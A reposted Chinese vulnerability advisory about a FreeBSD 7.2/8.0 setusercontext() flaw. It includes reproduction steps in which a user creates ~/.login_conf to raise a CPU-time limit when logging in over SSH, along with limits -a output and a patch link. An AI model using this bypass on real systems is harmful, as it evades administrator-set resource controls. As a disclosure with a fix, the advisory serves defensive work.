当前位置:七道奇文章资讯安全技术网络技术
日期:2010-08-27 00:17:00  来源:本站整理

FreeBSD setusercontext()函数绕过安全限制漏洞及修复[网络技术]

赞助商链接



  本文“FreeBSD setusercontext()函数绕过安全限制漏洞及修复[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

影响版本:
FreeBSD 8.0
FreeBSD 7.2漏洞描写:
BUGTRAQ  ID: 42533

FreeBSD就是一种运行在Intel平台上、可以安闲利用的开放源码Unix类系统.

在以其他用户的权限运行时lib/libutil/login_class.c文件中的setusercontext()函数利用了特定的用户设置,这答应本地用户通过成立特制的~/.login_conf文件并通过OpenSSH登录更改某些受限制的资源.<*参考
Andrey Zonov (andrey.zonov@gmail.com)

http://secunia.com/advisories/40923/
http://www.freebsd.org/cgi/query-pr.cgi?pr=141840
*>
测试办法:

本站供应程序(办法)大概带有攻击性,仅供安全研究与讲授之用,风险自负!
1. 在/etc/login.conf中增添新的登录类

test:\
:cputime=1h:\
:tc=default:

2. Make db

# cap_mkdb /etc/login.conf

3. 更改账号的登录类

# pw usermod $login -L test

4. 通过$login以SSH衔接到这个主机并履行limits -a

$ limits -a
Resource limits (current):
cputime 3600 secs
filesize infinity kB
datasize 524288 kB
stacksize 65536 kB
coredumpsize infinity kB
memoryuse infinity kB
memorylocked infinity kB
maxprocesses 3603
openfiles 7207
sbsize infinity bytes
vmemoryuse infinity kB
pseudo-terminals infinity
swapuse infinity kB

5. 成立~/.login_conf

me:\
:cputime=2h:

6. 再次衔接到这个主机并履行limits -a

$ limits -a
Resource limits (current):
cputime 7200 secs
filesize infinity kB
datasize 524288 kB
stacksize 65536 kB
coredumpsize infinity kB
memoryuse infinity kB
memorylocked infinity kB
maxprocesses 3603
openfiles 7207
sbsize infinity bytes
vmemoryuse infinity kB
pseudo-terminals infinity
swapuse infinity kB

厂商补钉:

FreeBSD
-------
目前厂商已经公布了进级补钉以修复这个安全问题,请到厂商的主页下载:

http://www.freebsd.org/cgi/query-pr.cgi?pr=141840


  以上是“FreeBSD setusercontext()函数绕过安全限制漏洞及修复[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
  • FreeBSD快速卸载PHP及其扩大的办法
  • Freebsd 8.0上架设PXE Boot及CloneZilla
  • Ubuntu 10.10安装免费网络电视FreetuxTV
  • freebsd+nginx+php+mysql+zend+phpmyadmin+系统优化+避免ddos +傻瓜式ports安装法
  • VirtualBox安装FreeBSD
  • 基于FreeBSD 8.0 Ports配置nginx+php+mysql高性能web平台
  • 在FreeBSD下安装mysql5的注意点
  • 改正FreeBSD默许的shell
  • 用jfreechart来生成统计图表
  • 用JFreeChart成立基于Web的图表
  • Java程序顶用JFreeChart制作图形报表
  • 操纵JFreeChart成立图象
  • 本文地址: 与您的QQ/BBS好友分享!
    • 好的评价 如果您觉得此文章好,就请您
        0%(0)
    • 差的评价 如果您觉得此文章差,就请您
        0%(0)

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    Copyright © 2020-2022 www.xiamiku.com. All Rights Reserved .